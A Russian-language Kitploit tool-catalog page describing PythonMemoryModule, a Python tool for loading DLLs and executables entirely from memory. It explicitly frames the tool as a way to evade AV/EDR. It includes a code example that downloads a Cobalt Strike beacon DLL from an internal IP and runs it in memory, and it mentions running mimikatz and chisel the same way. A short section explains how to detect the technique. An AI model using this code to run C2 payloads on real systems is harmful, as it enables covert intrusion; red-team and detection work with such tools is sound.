Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PythonMemoryModule — чистая реализация на Python техники MemoryModule для загрузки dll и неуправляемых exe целиком из памяти | Kitploit
Инструменты/GitHubGitHub/naksyn/pythonmemorymodule
Фреймворки для эксплойтовТестирование на ПроникновениеRed Teaming
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

чистая реализация на Python техники MemoryModule для загрузки dll и неуправляемых exe целиком из памяти

Репозиторий
340522 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Supported Python versions Twitter

PythonMemoryModule

чистая реализация метода MemoryModule на Python для загрузки DLL или неуправляемого EXE полностью из памяти

Модуль памяти Python
"Модуль памяти Python" изображение, сгенерированное ИИ - hotpot.ai

Что это такое

PythonMemoryModule — это порт метода MemoryModule на Python с использованием ctypes, изначально опубликованный Йоахимом Баухом. Он позволяет загружать DLL или неуправляемый EXE с помощью Python без использования внешних библиотек (pyd) и имеет (частичную) поддержку передачи параметров командной строки.

Он использует pefile для разбора PE-заголовков, PythonForWindows для доступа к параметрам процесса и ctypes для основной работы. Инструмент изначально задумывался как модуль Pyramid, обеспечивающий обход AV/EDR путём загрузки полезных нагрузок DLL/EXE в python.exe полностью из памяти, однако возможны и другие сценарии использования (защита ИС, загрузка pyd в памяти, ответвления для других более скрытных техник), поэтому я решил создать отдельный репозиторий.

Почему это может быть полезно

  1. По сути, это позволяет использовать технику MemoryModule полностью на интерпретируемом языке Python, обеспечивая загрузку DLL из буфера памяти с помощью подписанного двоичного файла python.exe без необходимости сохранения на диске внешнего кода/библиотек (таких как привязки pymemorymodule), которые могут быть обнаружены AV/EDR или вызвать подозрения пользователя.
  2. Использование метода MemoryModule в загрузчиках на компилируемых языках потребовало бы встраивания кода MemoryModule в сами загрузчики. Этого можно избежать, используя интерпретируемый язык Python и PythonMemoryModule, поскольку код может выполняться динамически и в памяти.
  3. Вы можете получить некоторый уровень защиты интеллектуальной собственности, динамически загружая, расшифровывая и загружая DLL из памяти, которые должны быть скрыты от посторонних глаз. Имейте в виду, что DLL всё ещё можно извлечь из памяти и подвергнуть реверс-инжинирингу, но для этого потребуется больше усилий со стороны атакующего.
  4. Вы можете загрузить полезную нагрузку DLL без выполнения инъекции или шелл-кода. Процесс загрузки имитирует API Windows LoadLibrary (который принимает в качестве входных данных путь на диске), не вызывая его фактически и работая в памяти.

Как использовать

Пример n.1

В следующем примере загружается (без сохранения на диск), загружается в память и запускается путём вызова точки входа DLL без сохранения (Cobalt Strike stageless beacon).

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Примечание: если вы используете staging в своём malleable profile, DLL не сможет загрузиться с помощью LoadLibrary, следовательно, MemoryModule не сработает.

Пример n.2

В следующем примере мы используем функцию передачи командной строки для выполнения chisel в памяти.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

Передача параметров командной строки - Частичная поддержка

Эта техника реализована путём модификации параметра Commandline в PEB во время выполнения. Она будет работать не со всеми исполняемыми файлами, так как зависит от того, какие функции используются для передачи аргументов.

В целом, для универсально работающей техники потребовалось бы перехватить GetCommandlineA, GetCommandlineW, __getmainargs и __wgetmainargs, поскольку модификация PEB не покрывает все случаи, подробнее здесь

В ходе тестирования я обнаружил, что mimikatz и несколько бинарных файлов Go работают просто с модификацией PEB, с другой стороны, передача командной строки только через модификацию PEB для компилированных с помощью mingw и VS бинарников, скорее всего, не сработает.

Как это обнаружить

Использование техники MemoryModule в основном сохраняет разрешения секций целевой DLL и избегает шумного подхода RWX. Однако в памяти процесса появится приватная область, не подкреплённая DLL на диске, и это является признаком использования MemoryModule.

Скачать инструмент